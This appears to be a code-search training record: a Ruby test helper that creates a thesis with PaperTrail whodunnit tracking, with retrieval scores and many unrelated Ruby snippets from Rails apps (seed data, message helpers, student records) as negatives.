e.push(value.to_hash)\n end\n json[:messageResult] = e\n end\n \n json\n end", "def message\n data.message\n end", "def message_from(response)\n if not response.has_key?(:ErrInfo)\n return 'Success'\n end\n\n # The ErrInfo key can contain a | separated string of multiple error\n # codes. By default we start at the end and work our way backwards to\n # try and find the highest-level one we can.\n if response[:ErrInfo].index('|')\n error_codes = response[:ErrInfo].split('|')\n else\n error_codes = [response[:ErrInfo]]\n end\n\n error_codes.reverse.each do |code|\n if ERROR_CODES.has_key?(code)\n return ERROR_CODES[code]\n end\n end\n\n \"Error #{error_codes[-1]}\"\n end", "def card_verification\n card[:verification].to_s\n end", "def gift_message\n hash[\"GiftMessage\"]\n end", "def errors_h\n\t\t{errors: self.errors.messages}\n\tend", "def message\n response_json.fetch(\"message\", \"\")\n end", "def message_hash parrent, msg\n {\n message: msg,\n type: parrent.class.name,\n id: parrent.id\n }\n end", "def actual_message\n self.outbounds.length == 1 ? outbounds.first.actual_message : message\n end", "def message_fingerprint\n return @message_fingerprint\n end", "def message\n info['Message']\n end", "def unbox(hash)\n @server_message = hash['ServerMessage']\n @server_code = hash['ServerCode']\n @model = Validate.from_hash(hash['model']) if hash['model']\n end", "def to_jaxb_json_hash\n _h = super\n _h['messageContent'] = messageContent.to_jaxb_json_hash unless messageContent.nil?\n _h['maxSmsPerMessage'] = maxSmsPerMessage.to_jaxb_json_hash unless maxSmsPerMessage.nil?\n return _h\n end" ]
[ "0.6303842", "0.6303842", "0.62383", "0.6177175", "0.60714173", "0.60374236", "0.59985685", "0.58875865", "0.57260877", "0.57145226", "0.56530577", "0.5616187", "0.5566198", "0.55635315", "0.55509686", "0.5525495", "0.546277", "0.54585195", "0.54477084", "0.54362965", "0.5432506", "0.5393275", "0.5372852", "0.53700376", "0.53636414", "0.5358341", "0.5338502", "0.53281903", "0.5322485", "0.5291265", "0.52806157", "0.5273715", "0.5269226", "0.52660847", "0.52635705", "0.52587414", "0.52459484", "0.5239156", "0.5236552", "0.5231307", "0.5225754", "0.5212606", "0.5207119", "0.52028", "0.5189496", "0.5186525", "0.5186248", "0.51848227", "0.5175645", "0.5175642", "0.5172031", "0.5169762", "0.51660186", "0.51602626", "0.51602626", "0.5153398", "0.5143771", "0.51391435", "0.51165074", "0.5113497", "0.51120204", "0.5111177", "0.5111177", "0.5111177", "0.5111177", "0.5111177", "0.5111177", "0.5111177", "0.5111177", "0.51060915", "0.5105948", "0.5104559", "0.5100852", "0.5100399", "0.5096515", "0.5085451", "0.5084538", "0.5082138", "0.5078484", "0.5070787", "0.5067626", "0.50601876", "0.5056447", "0.5055569", "0.50553757", "0.5050346", "0.5048131", "0.5047933", "0.5043965", "0.5032716", "0.5022654", "0.5018954", "0.50162804", "0.5015348", "0.501519", "0.5013176", "0.5013022", "0.50073665", "0.5003418", "0.49897796" ]
0.52458584
37
This is needed because preexisting theses (i.e., fixtures) will have a whodunnit of nil, and we use whodunnit to identify theses that were created/modified by students.
def create_thesis_with_whodunnit(user) sign_in user title = 'Spacecraft avoidance: a short' post '/thesis', params: { thesis: { title: title, abstract: 'Frook.', department_ids: departments(:one).id.to_s, degree_ids: degrees(:one).id.to_s, graduation_year: (Time.current.year + 1).to_s, graduation_month: 'September', files: fixture_file_upload('a_pdf.pdf', 'application/pdf') } } sign_out user end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def whodunnit=(value)\n store[:whodunnit] = value\n end", "def whodunnit\n who = store[:whodunnit]\n who.respond_to?(:call) ? who.call : who\n end", "def set_draftsman_whodunnit\n ::Draftsman.whodunnit = user_for_draftsman if ::Draftsman.enabled?\n end", "def set_paper_trail_whodunnit\n PaperTrail.request.whodunnit = current_user.id if current_user\n end", "def set_audit_me_whodunnit\n ::AuditMe.whodunnit = user_for_audit_me\n end", "def set_paper_trail_whodunnit\n ::PaperTrail.whodunnit = user_for_paper_trail if ::PaperTrail.enabled?\n end", "def medical_fellowships\n # blank\n end", "def destruction \n self.update(destruction: true)\n self.update(destruction_severity: rand(1.0..10.0))\n if destruction_severity >= 6.0\n self.update(hero_created: true)\n Hero.create(name: Faker::Name.name_with_middle, alter_ego: Faker::Superhero.name, super_power: Faker::Superhero.power, power_lvl: Faker::Number.within(range: 50..300), resistance: Faker::Number.within(range: 1..40), hp: Faker::Number.within(range: 500..1000), gender: Faker::Gender.binary_type, race: Faker::Games::DnD.species, origin_story: Faker::Lorem.paragraphs(number: 3), nemesis: nil)\n puts \"Through the wreckage, a new person found their purpose in life. A new hero emerges!\"\n elsif destruction_severity >= 8.0\n self.update(villain_created: true)\n Villain.create(name: Faker::Name.name_with_middle, alter_ego: hero.nemesis, super_power: Faker::Superhero.power, power_lvl: Faker::Number.within(range: 50..300), resistance: Faker::Number.within(range: 1..40), hp: Faker::Number.within(range: 500..1000), gender: Faker::Gender.binary_type, race: Faker::Games::DnD.species, origin_story: Faker::Lorem.paragraphs(number: 3), nemesis: nil, grievance: Faker::Verb.base, insane_asylum: false, mental_health: Faker::Number.within(range: 1..10))\n puts \"The world is coming into more chaos. There are riots everywhere, might as well cause more mayhem!! A new villain emerges!\"\n end\n end", "def seed_data_for_holistic(prof, student)\n course = Course.create!(name: \"Intro to Computer (Holistic)\",\n pin: Faker::Number.number(digits: 6),\n professor_id: prof.id,\n minimum_group_member: 3,\n maximum_group_member: 5,\n has_group: false,\n is_voting: false,\n state: \"choose_algo\",\n withProject: true)\n students = []\n 40.times do\n first = Faker::Name.first_name\n last = Faker::Name.last_name\n s = User.create!(firstname: first,\n lastname: last,\n email: last + Faker::Number.number(digits: 6).to_s + \"@brandeis.edu\",\n password: \"password\", type: \"Student\", time_zone: seed_time_zone)\n students << s\n Taking.create!(student_id: s.id, course_id: course.id, state: \"created\")\n end\n Taking.create!(student_id: student.id, course_id: course.id, state: \"created\")\n students << student\n projects = []\n 10.times do\n active_project = Project.create!(project_name: Faker::Team.name, course_id: course.id, description: Faker::Game.genre,\n is_active: true, number_of_likes: 0, added_by: students.sample)\n projects << active_project.id\n end\n 4.times do\n inactive_project = Project.create!(project_name: Faker::Team.name, course_id: course.id, description: Faker::Game.genre,\n is_active: false, number_of_likes: 0, added_by: students.sample)\n end\n seed_voting(students, course, projects)\n seed_preference(course, students)\n puts \"seed holistic\"\nend", "def work_influences\n find_related_frbr_objects( :is_influenced_by, :which_works?) \n end", "def originator\n self.class.with_item_keys(self.class.name, id).last.try :whodunnit\n end", "def set_change_log_whodidit\n ::ChangeLog.whodidit = user_for_change_log\n end", "def whos_that_trainer\n return \"ID #{id} | Name: #{name} | Hometown: #{hometown}\" \n end", "def wisdom_challenge?\n if rand(100) > 90 - wisdom\n self[:level] += 1\n save\n true\n else\n false\n end\n end", "def essay_writer(title, topic, date, thesis_statment, pronoun)\n\t if pronoun === \"male\"\n\t\treturn \"#{topic} was an important person in #{date}. He did a lot. I want to learn more about him. #{thesis_statment} #{topic}'s contribution was important.\"\n\t elsif pronun === \"female\"\n\t \treturn \"#{topic} was an important person in #{date}. She did a lot. I want to learn more about her. #{thesis_statment} #{topic}'s contribution was important.\"\n\t elsif pronun === \"place\"\n\t \treturn \"#{topic} was an important place in #{date}. It was very influential. I want to learn more about it. #{thesis_statment} #{topic}'s contribution was important.\"\n\t elsif pronoun === \"generic\"\n\t \treturn \"#{topic} was an important topic in #{date}. It was very influential. I want to learn more about it. #{thesis_statment} #{topic}'s contribution was important.\"\n\t end\nend", "def superwork_influences\n find_related_frbr_objects( :is_influenced_by, :which_superworks?) \n end", "def calculated_wounds\n wound_th = brawn\n wound_th += race.wound_threshold if race && race.wound_threshold\n # Then increase based on selected talents.\n talent_alterations.each do |_talent_id, stat|\n stat.each do |type, value|\n wound_th += value if type == :wound\n end\n end\n wound_th\n end", "def essay_writer(title, topic, date, thesis_statement, pronoun)\n if pronoun == \"male\"\n who = \"He\" \n whose = \"His\"\n whom = \"Him\"\n \n elsif pronoun == \"female\"\n who = \"She\"\n whose = \"Her\"\n whom = \"Her\"\n \n else\n who = \"It\"\n whose = \"Its\"\n whom = \"Its\"\n end\n \n return who + \" was an important person in \" + date.to_s + \". \" + who + \" did a lot. I want to learn more about him. \" + thesis_statement + \" \" + topic.to_s + \"'s contribution is important.\"\n \nend", "def actor\n ::GlobalID::Locator.locate(whodunnit) || whodunnit\n end", "def influences_these_works\n find_related_frbr_objects( :is_an_influence_on, :which_works?) \n end", "def set_wynthought\n @wynthought = Wynthought.find(params[:id])\n end", "def thesis\n 'Thesis/Dissertation' if record.find { |a| a.tag == '502' }\n end", "def witcher; end", "def init_statistic\n create_statistic if course_user&.role == 'student' && statistic.nil?\n end", "def index\n @unique_whitelines = UniqueWhiteline.all\n end", "def sole_authored_works\n @sole_authored_works = []\n works.find(:all, :conditions => 'posted = 1').each do |w|\n if self.is_sole_author_of?(w)\n @sole_authored_works << w\n end\n end\n return @sole_authored_works \n end", "def seed_all\n current_or_create_new_misc\n current_or_create_new_institutions\n current_or_create_new_williams_dining_opps\n current_or_create_new_williams_dining_places\n current_or_create_new_dining_opps\n seed_app_dining_periods\n seed_williams_rss_scraping\nend", "def student\n @student ||= Student.find_by_uic(uic)\n end", "def seed_data_for_no_project_preference_match(prof, student)\n course = Course.create!(name: \"Computer Architecture\",\n pin: Faker::Number.number(digits: 6),\n professor_id: prof.id,\n minimum_group_member: 2,\n maximum_group_member: 3,\n has_group: false,\n is_voting: false,\n state: \"choose_algo\",\n withProject: false)\n students = []\n 12.times do\n first = Faker::Name.first_name\n last = Faker::Name.last_name\n s = User.create!(firstname: first,\n lastname: last,\n email: last + Faker::Number.number(digits: 6).to_s + \"@brandeis.edu\",\n password: \"password\", type: \"Student\", time_zone: seed_time_zone)\n students << s\n Taking.create!(student_id: s.id, course_id: course.id, state: \"created\")\n end\n Taking.create!(student_id: student.id, course_id: course.id, state: \"created\")\n students << student\n PreferenceWeight.create!(course_id: course.id, subject_proficiency: rand(5), dream_partner: rand(5), time_zone: rand(5), schedule: rand(5), project_voting: rand(5))\n students.each do |s|\n dream_partner = seed_partner(students, course.maximum_group_member)\n schedule = seed_schedule\n time_zone = s.time_zone\n Preference.create!(student_id: s.id, course_id: course.id, subject_matter_proficiency: (1..5).to_a.sample, time_zone: time_zone, dream_partner: dream_partner, schedule: schedule)\n end\n puts \"seed project preference\"\nend", "def whiny; end", "def wf_name; h.wf_name; end", "def get_unowned_snippets\r\n admin = User.find_by admin: true\r\n admin_snippets = Snippet.where(:default => true).where(:user => admin)\r\n users_default_snippets = Snippet.accessible_by(current_ability).where(:default => true)\r\n\r\n unowned_snippets = admin_snippets\r\n user_snippets = users_default_snippets.pluck(:default_id).uniq\r\n if !user_snippets.empty?\r\n unowned_snippets = unowned_snippets.where('id NOT IN (?)', user_snippets)\r\n else\r\n unowned_snippets = admin_snippets\r\n end\r\n unowned_snippets.each do |unowned_snippet|\r\n p unowned_snippet.inspect\r\n end\r\n unowned_snippets\r\n end", "def initialize_learnt_words(student)\n words = Word.where(\"grade < ?\", student.grade)\n \n words.each do |w|\n student.student_learnt_words.create(\n current_strength: 0.0,\n strength_history: \"\",\n test_interval: 0,\n test_date_array: \"\",\n word_id: w.id\n )\n end\n \n student.student_learnt_words\n end", "def report_winner\n\t\tif reason = won_by?(:hunter)\n\t\t\tputs \"\\n\\nHunter (#{@hunter.username}) wins (#{reason}) at turn #{@current_turn}\\n\\n\"\n\t\t\[email protected](\"GAMEOVER #{current_round} WINNER HUNTER #{reason}\")\n\t\t\[email protected](\"GAMEOVER #{current_round} LOSER PREY #{reason}\")\n\t\t\[email protected]{|s| s.puts \"GAMEOVER #{current_round} WINNER HUNTER #{reason}\"}\n\t\t\treturn {:winner => @hunter.username, :role => \"Hunter\", :time => current_round, :reason => reason}\n\t\telsif reason = won_by?(:prey)\n\t\t\tputs \"\\n\\Prey (#{@prey.username}) wins (#{reason}) at turn #{@current_turn}\\n\\n\"\n\t\t\[email protected](\"GAMEOVER #{current_round} LOSER HUNTER #{reason}\")\n\t\t\[email protected](\"GAMEOVER #{current_round} WINNER PREY #{reason}\")\n\t\t\[email protected]{|s| s.puts \"GAMEOVER #{current_round} WINNER PREY #{reason}\"}\n\t\t\treturn {:winner => @prey.username, :role => \"Prey\", :time => current_round, :reason => reason}\n\t\tend\n\tend", "def is_owned\n !!(\n @training &&\n @training.id &&\n (\n @is_admin_logged_in || (@current_user && (@training.user_id == @current_user.id))\n )\n )\n end", "def set_unique_whiteline\n @unique_whiteline = UniqueWhiteline.find(params[:id])\n end", "def index\n @interesting_things = @student.interesting_things\n @other_interesting_things = Student.where.not(id: @student.id).map do|student|\n student.interesting_things[@student.id % Student.count] || student.interesting_things.sample\n end.compact\n end", "def index\n @whiches = Which.all\n end", "def flu_season\n event_display(\"It's flu season!\\n One player has been infected and needs some time to recuperate.\")\n {Game.last.players.sample.id.to_s =>\n {wellbeing: -100}\n }\n end", "def set_weed\n @weed = Weed.find(params[:id])\n end", "def first_name_women; end", "def whos_that_trainer\n #return the trainer's stats\n end", "def set_wine\n @wine = Wine.find(params[:id])\n \n @theRating=0.0\n @theTotPerson=0\n @wine.ratings.each {|i| if(i.rating!=-1 and !i.rating.nil? ); @theRating+=i.rating; @theTotPerson+=1; end;}\n @theRating/=@theTotPerson if @theTotPerson!=0\n \n \n end", "def coauthored_works\n @coauthored_works = []\n works.find(:all, :conditions => 'posted = 1').each do |w|\n unless self.is_sole_author_of?(w)\n @coauthored_works << w \n end\n end\n return @coauthored_works \n end", "def seed_users_and_attrs\n gym_quotes = [\"When my body shouts ‘STOP’, my mind screams ‘NEVER’.\",\n \"Excuses don’t kill the fat, exercises do.\",\n \"If you have time for Facebook, you have time for exercise.\",\n \"A year from now, you’ll wish you had started today.\",\n \"Fitness is not about being better than someone else, it’s about being better than you used to be.\",\n \"Change your body by changing your thoughts.\",\n \"Never say the sky’s the limit when there are footprints on the moon.\",\n \"Fall in love with taking care of your body.\",\n \"A 1-hour workout is 4% of your day. #noexcuses\",\n \"Being defeated is often a temporary condition. Giving up is what makes it permanent.\",\n \"Respect your body. It’s the only one you get.\",\n \"A healthy lifestyle is something we refine over time – not overnight.\",\n \"Good is not enough if better is possible.\",\n \"The best project you will ever work on is you.\",\n \"Today I will do what others won’t, so tomorrow I can accomplish what others can’t.\",\n \"The secret to getting ahead is getting started.\",\n \"Push harder than yesterday if you want a different tomorrow.\",\n \"She believed she could, so she did.\",\n \"Pain is weakness leaving the body.\",\n \"Hard work beats talent when talent doesn’t work hard.\",\n \"It always seems impossible until it’s done.\",\n \"The body achieves what the mind believes.\",\n \"Of all the people on the planet, you talk to yourself more than anyone… make sure you’re saying the right things.\",\n \"Don’t stop now.\",\n \"You are confined only by the walls you build yourself.\",\n \"Exercise is king. Nutrition is queen. Put them together and you have got a kingdom – Jack Lalanne.\",\n \"It is health that is real wealth – Gandhi.\",\n \"The decent method you follow is better than the perfect method you quit – Tim Ferris.\",\n \"Just remember the letter ‘S’: salads, stir-fries, scrambles, soups, smoothies, and sushi. You can’t go wrong with the letter ‘S’ – Harley Pasternak.\",\n \"Progress, not perfection – Kimberly Snyder.\",\n \"The quality of your sleep depends on the quality of your day – Deepak Chopra.\",\n \"Take care of your body, it’s the only place you have to live – Jim Rohn.\",\n \"Get comfortable with being uncomfortable! – Jillian Michaels.\",\n \"You miss 100% of the shots you never take – Wayne Gretzky.\",\n \"Continuous improvement is better than delayed perfection – Mark Twain.\",\n \"When you start eating food without labels, you no longer need to count the calories – Amanda Kraft.\",\n \"You can’t stop waves, but you can learn how to surf – John Kabat-Zinn.\",\n \"Why are you stopping? You think I can’t see you? – Shaun T\",\n \"We are what we repeatedly do. Excellence, then, is not an act, but a habit. – Aristotle.\",\n \"Eat food, not too much, mostly plants – Michael Pollan.\",\n \"With great size comes great responsibility.\",\n \"There are no shortcuts – everything is reps, reps, reps.\",\n \"You shall gain, but you shall pay with sweat, blood, and vomit.\",\n \"Life´s too short to be small.\",\n \"I’m not on steroids, but thanks for asking…\",\n \"Everybody wants to be a bodybuilder but nobody wants to lift heavy weights!\",\n \"I don’t do this to be healthy – I do this to get big muscles.\",\n \"My warmup is your workout.\",\n \"I got 99 problems but a BENCH ain’t one.\",\n \"If it wasn’t hard, everyone would do it.\"]\n\n 1000.times do\n random_boolean = [true, false]\n random_gender = [\"male\",\n \"female\",\n \"non_binary\"]\n #! Note - Location is hard coded to \"Seattle.\".\n results = Geocoder.search(\"Seattle\")\n lat = results.first.coordinates[0]\n long = results.first.coordinates[1]\n\n lat_long = RandomLocation.near_by(lat, long, 100000)\n seed_lat = lat_long[0]\n seed_long = lat_long[1]\n\n def generate\n pre = Faker::Name.prefix\n verb = Faker::Verb.past\n animal = Faker::Creature::Animal.name\n name = pre + verb.capitalize + animal.capitalize + rand(1..100).to_s\n newname = name.split(/[ ,.\\/]/).join(\"\").to_s\n end\n\n name = generate\n\n User.create(\n name: name,\n email: \"#{name}@gmail.com\",\n password_digest: \"1234\",\n bio: gym_quotes.sample,\n age: rand(18..100),\n gender: random_gender.sample,\n diet: Diet.create(\n keto: random_boolean.sample,\n low_carb: random_boolean.sample,\n vegan: random_boolean.sample,\n vegetarian: random_boolean.sample,\n pescatarian: random_boolean.sample,\n alkaline: random_boolean.sample,\n raw_food: random_boolean.sample,\n intermittent_fasting: random_boolean.sample,\n paleo: random_boolean.sample,\n clean_eating: random_boolean.sample,\n mediterranean: random_boolean.sample,\n ),\n exercise_discipline: ExerciseDiscipline.create(\n cardio: random_boolean.sample,\n muscle_strengthening: random_boolean.sample,\n aerobic: random_boolean.sample,\n\n ),\n exercise_time: ExerciseTime.create(\n early_morning: random_boolean.sample,\n morning: random_boolean.sample,\n afternoon: random_boolean.sample,\n early_evening: random_boolean.sample,\n late_evening: random_boolean.sample,\n late_night: random_boolean.sample,\n\n ),\n gender_preference: GenderPreference.create(\n male: random_boolean.sample,\n female: random_boolean.sample,\n non_binary: random_boolean.sample,\n none: random_boolean.sample,\n ),\n location: Location.create(\n latitude: seed_lat,\n longitude: seed_long,\n ),\n music_preference: MusicPreference.create(\n rock: random_boolean.sample,\n techno: random_boolean.sample,\n rap: random_boolean.sample,\n country: random_boolean.sample,\n pop: random_boolean.sample,\n alternative: random_boolean.sample,\n classical: random_boolean.sample,\n funk: random_boolean.sample,\n latin: random_boolean.sample,\n jazz: random_boolean.sample,\n none: random_boolean.sample,\n ),\n )\n end\nend", "def writers\n find_related_frbr_objects( :is_written_by, :which_roles?) \n end", "def honk_horn\n\n @honk_horn = \"Whoop\"\n end", "def three_study_subjects_with_sample_outcome_on\n\t\tcreate_study_subjects_with_sample_outcome_ons(\n\t\t\t'12/31/2005','12/31/2001','12/31/2003')\n\tend", "def wound_threshold\n wound_th = self.brawn\n if self.race && self.race.wound_threshold\n wound_th += self.race.wound_threshold\n end\n # Then increase based on selected talents.\n self.talent_alterations.each do |talent_id, stat|\n stat.each do |type, value|\n if type == :wound\n wound_th += value\n end\n end\n end\n wound_th\n end", "def offences_by; end", "def undescribable?\n (sort == 'Kaviar' && teachable.class.to_s == 'Lesson') ||\n sort == 'Script'\n end", "def sittinae_hooey(scrawny_appulsion, termly)\n end", "def is_sole_author_of?(item)\n other_pseuds = item.pseuds.find(:all) - self.pseuds\n self.is_author_of?(item) && other_pseuds.blank?\n end", "def create_detentions\n @students.each do |student|\n next if student[:detention].to_i.zero?\n\n name = student[:name].split(' ').map(&:downcase).join('_')\n file_path = \"#{__dir__}/../#{ENV['DETENTIONS_PATH']}/#{name}\"\n File.open(file_path, 'w') { |f| f.puts(student[:detention]) }\n end\n end", "def special_dissemination_wf\n apo_id = cocina_object.administrative.hasAdminPolicy\n raise \"#{cocina_object.externalIdentifier} doesn't have a valid apo\" if apo_id.nil?\n\n apo = Dor::Services::Client.object(apo_id).find\n\n wf = apo.administrative.disseminationWorkflow\n wf unless wf == 'disseminationWF'\n end", "def set_wod\n @wod = Wod.find(params[:id])\n end", "def set_wod\n @wod = Wod.find(params[:id])\n end", "def skip_fixture_tables\n %w{\n cyrususer\n cyrusvirtual\n documentlibrary_fsentry\n documentlibrary_binval\n documentlibrary_node\n documentlibrary_prop\n documentlibrary_refs\n expandocolumn\n expandorow\n expandotable\n expandovalue\n image\n chat_entry\n chat_status\n journalcontentsearch\n mbban\n membershiprequest\n orglabor\n passwordpolicyrel\n passwordpolicy\n passwordtracker\n pluginsetting\n quartz_blob_triggers\n quartz_calendars\n quartz_cron_triggers\n quartz_fired_triggers\n quartz_job_details\n quartz_job_listeners\n quartz_locks\n quartz_paused_trigger_grps\n quartz_scheduler_state\n quartz_simple_triggers\n quartz_trigger_listeners\n quartz_triggers\n ratingsentry\n ratingsstats\n region\n scframeworkversion\n scframeworkversi_scproductvers\n schema_migrations\n sclicenses_scproductentries\n sclicense\n scproductentry\n scproductscreenshot\n scproductversion\n servicecomponent\n sessions\n shoppingcart\n shoppingcategory\n shoppingcoupon\n shoppingitemfield\n shoppingitemprice\n shoppingitem\n shoppingorderitem\n shoppingorder\n subscription\n tasksproposal\n tasksreview\n webdavprops\n website\n }\n end", "def unit_of_work_id\n context[:unit_of_work_id]\n end", "def has_contributed_to\n self.contributed_non_profits\n end", "def skip_test_inmutable\n #they come fully loaded\n Status.load_inmutable_instances\n status1 = Status.where.all.sort_by { |s| s.code }\n status2 = Status.where.all.sort_by { |s| s.code }\n assert status1.length == 4\n assert status2.length == 4\n #same referencs\n status1.each_index do |i|\n assert status1[i].object_id==status2[i].object_id \n end\n\n #create a new object\n stt = Status.new(code: \"xx\", description: (\"xx\" + \" some desc\"))\n stt.save\n\n status1 = Status.where.all.sort_by { |s| s.code }\n status2 = Status.where.all.sort_by { |s| s.code }\n assert status1.length == 5\n assert status2.length == 5\n #same referencs\n status1.each_index do |i|\n assert status1[i].object_id==status2[i].object_id \n end \n\n status1.each do |st|\n assert st.code\n assert st.description\n end\n\n marr = Status.find(\"divorced\").first\n assert marr.code == \"divorced\"\n assert marr.description\n assert marr.object_id == status1.first.object_id\n\n people = Person.where.include(:name, status: [ :code, :description ]).all\n people.each do |p|\n assert p.status.object_id == status1.select { |st| st.id == p.status.id }.first.object_id\n assert p.status.code\n assert p.status.description\n end\n end", "def compile_already_used_tweet_ids\n @already_knock_knocked_screen_names = []\n @already_random_word_screen_names = []\n @already_snoop_dogged_screen_names = []\n\n # Collect the bot's most recent 30 tweets and add the screen names tweeted at to an exclusion array\n $client.user_timeline.first(30).each do |tweet|\n if tweet.text.include?('Knock knock')\n @already_knock_knocked_screen_names << tweet.in_reply_to_screen_name\n elsif !tweet.text.include?('Snoop Dogg')\n @already_random_word_screen_names << tweet.in_reply_to_screen_name\n elsif tweet.text.include?('Snoop Dogg')\n @already_snoop_dogged_screen_names << tweet.in_reply_to_screen_name\n end\n end\nend", "def essay_writer(title, topic, date, thesis, pronoun)\n if pronoun == \"female\"\n return \"#{title}. #{topic} was born in #{date}. She changed the world and is someone we should all learn about further. \n #{thesis}. #{topic} is important to the world.\"\n elsif pronoun == \"male\"\n return \"#{title}. #{topic} was born in #{date}. He changed the world and is someone we should all learn about further. \n #{thesis}. #{topic} is important to the world.\"\n else \n return \"#{title}. #{topic} was important since #{date}. It changed the world and is something we should all learn about further. \n #{thesis}. #{topic} is important to the world.\"\n end \nend", "def wreathmaking(squilla, noncarbonate_tilly, angionosis_parvolin)\n prealarm_plaidie_premolar(philofelist, unacceptableness_printless)\n suzan()\n end", "def create_some_data\n\t\tSunspot.remove_all!\t\t\t\t\t#\tisn't always necessary\n\t\tStudySubject.solr_reindex\n\t\tassert StudySubject.search.hits.empty?\n\t\tsubject1 = FactoryBot.create(:complete_case_study_subject)\n\t\tFactoryBot.create(:sample, :study_subject => subject1,\n\t\t\t:sample_type => SampleType['marrowdiag'])\n\t\tsubject2 = FactoryBot.create(:complete_case_study_subject)\n\t\tFactoryBot.create(:sample, :study_subject => subject2,\n\t\t\t:sample_type => SampleType['periph'])\n\t\tStudySubject.solr_reindex\n\t\tassert !StudySubject.search.hits.empty?\n\tend", "def works_with_missing_metadata\n GenericWork.all.select do |gw|\n gw.description == [] && gw.creator == []\n end\n end", "def generated? wme\n return true if generated_wmes.any? { |w| w == wme }\n return children.any? { |t| t.generated? wme }\n end", "def my_thoughts(count)\r\n Thought.my_thoughts(username, count).collect{ |t| t.first }\r\n end", "def well_name\n self.well_info.well_name\n end", "def superwork_evidences\n find_related_frbr_objects( :is_evidence_of, :which_superworks?) \n end", "def mood\n unless admin\n happiness > nausea ? 'happy' : 'sad'\n end\n end", "def hornlike(adet_mortification, hyperconscious)\n shadowiness_priceable(disinterment, pericellular_homogenization)\n counterbreastwork_knickerbockered()\n subspecialty_universalian(whereon, ciliated_papaverous, eurhodine)\n end", "def lookup_new_swimmer\n \n end", "def print_owners_with_hero (fwt, hero_name)\n\t\n\ttemp = fwt.execute(\"SELECT owners.first_name, owners.last_name, ratings.descripton FROM acquisitions JOIN owners ON acquisitions.owners_id = owners.id JOIN heros ON acquisitions.heros_id = heros.id JOIN ratings ON acquisitions.ratings_id = ratings.id WHERE heros.name = ? ORDER BY first_name, last_name\",[hero_name])\n\t\n\tputs \"\\n\\n#{hero_name} is owned by the following owners:\"\n\t\n\ttemp.each do |first_name,last_name,descripton|\n\t\tputs \"First Name:#{first_name} Last Name:#{last_name} Rating:#{descripton}\"\n\tend\nend", "def father_name\n \n Tweet.find(self.tweet_id).user.username\n \n end", "def kids_musical; end", "def king_richard_iii; end", "def nutritionally(unaffirmed_excisor, undubbed_palindromic)\n hatful_radsimir(dumbfounder, kaka_propheticly)\n end", "def populate_wiggles\n return if Wiggle.exists?\n print \"Creating Wiggles...\"\n sample = YAML.load_file(File.expand_path(\"lib/generators/sample_data/wiggles.yml\"))\n\n wiggles = sample[\"wiggles\"].take(10) \n \n wiggles.each do |wiggle| \n print \".\"\n new_wiggle = Wiggle.create(:name => wiggle[\"name\"].chomp, :description => LOREM_IPSUM)\n new_wiggle.opinions << Opinion.create(:value => rand(100))\n end\n end", "def update_learning_resources(dry_run:)\n\n templates = LearningResource.published.templates\n\n Instructor.where(is_seeded: false).each do |instructor|\n puts \"Updating instructor ##{instructor.id}\"\n\n lrs = instructor.learning_resources\n\n templates.each do |template|\n if lr = lrs.find_by(title: template.title)\n if lr.updated_at - lr.created_at > 10 # seconds\n # The instructor edited this learning resource.\n # Do nothing.\n puts \"\\tSkipped template ##{template.id} because the instructor has edited it.\"\n else\n # The instructor has never edited this learning resource.\n # Replace it with the new one.\n\n unless dry_run\n # Soft-delete and unpublish old learning resource.\n lr.update!(is_deleted: true, is_published: false)\n\n # Duplicate the new one for them.\n template.duplicate_for(instructor)\n end\n\n puts \"\\tUpdated instructor's version of template ##{template.id}.\"\n end\n else\n # They don't have this learning resource.\n # Duplicate it for them.\n unless dry_run\n template.duplicate_for(instructor)\n end\n\n puts \"\\tCreated new learning resource from template ##{template.id}\"\n end\n end\n end\n\nend", "def wookiee_sentence; end", "def prepare\n [ \"alpha\", \"bravo\", \"charly\" ].each do |name|\n\n @engine.register_participant(name) do |workitem|\n\n workitem.attributes[name] = true\n workitem.attributes[\"key\"] = name\n end\n end\n\n #@engine.register_participant(\"display_workitem\") do |workitem|\n # puts\n # puts\n #end\n end", "def winter_olympics_sport; end", "def default_students\n\nstudents = [\n {name: \"Dr. Hannibal Lecter\",cohort: :november, hobby: :sport, weight: 87, age: 64},\n {name: \"Darth Vader\", cohort: :november, hobby: :reading, weight: 87, age: 53},\n {name: \"Nurse Ratched\", cohort: :november, hobby: :music, weight: 100, age: 42},\n {name: \"Michael Corleone\", cohort: :november, hobby: :coding, weight: 68, age: 24},\n {name: \"Alex DeLarge\", cohort: :november, hobby: :coding, weight: 130, age: 28},\n {name: \"The Wicked Witch of the West\", cohort: :november ,hobby: :gaming, weight: 120, age: 43},\n {name: \"Terminator\", cohort: :november, hobby: :music, weight: 72, age: 34},\n {name: \"Freddy Krueger\", cohort: :november, hobby: :reading, weight: 55, age: 18},\n {name: \"The Joker\", cohort: :november, hobby: :sport, weight: 30, age: 45},\n {name: \"Joffrey Baratheon\", cohort: :november, hobby: :music, weight: 70, age: 30},\n {name: \"Norman Bates\", cohort: :november, hobby: :music, weight: 80, age: 25}\n]\nend", "def smoked_this_week\n Smoke.by_user(id).this_week(Date.today).sum(:counted) || 0\n end", "def worn_or_wielded? item\n object = @inventory.find item\n return false if object.nil?\n\n pos = position_of object\n\n return false if object.nil?\n\n if [:left_wield, :right_wield, :dual_wield].include? pos\n return \"You will need to unwield #{object.name} first.\"\n else\n return \"You will need to remove #{object.name} first.\"\n end\n end", "def set_hs_students_from_housing\n high_school_students_from_housing = CeqrData::ScaHousingPipelineByBoro.version(\n data_package.table_for(\"sca_housing_pipeline_by_boro\")\n ).high_school_students_from_new_housing_by_boro(project.borough)\n\n hs_students = high_school_students_from_housing.map{|s| s[:hs_students]}\n\n self.hs_students_from_housing = hs_students.first\nend", "def cleanup_unposted_works\n works.find(:all, :conditions => ['works.posted = ? AND works.created_at < ?', false, 1.week.ago]).each do |w|\n w.destroy\n end\n end", "def local_title_for_viewers_uncached\n return\"#{sort_localized}, #{description}\" if description.present?\n if sort == 'Kaviar' && teachable.class.to_s == 'Lesson'\n return \"#{I18n.t('categories.kaviar.singular')}, #{teachable.local_title_for_viewers}\"\n end\n \"#{sort_localized}, #{I18n.t('admin.medium.local_info.no_title')}\"\n end", "def setup\n @student = students(:data1)\n end", "def update\n\t\t@student_orig = Student.find(params[:id])\n\t\t@student = Student.find(params[:id])\n\t\tanalyze_update_params(params, 'student')\t# TODO-PER: debugging code\n#\t\tredirect_to(@student, :notice => \"NOTICE: During initial testing, the modification of students has been turned off.\")\n#\t\treturn\n\t\tp = params[:student]\n\t\timage_id = nil\n\t\tif p[:main_image] 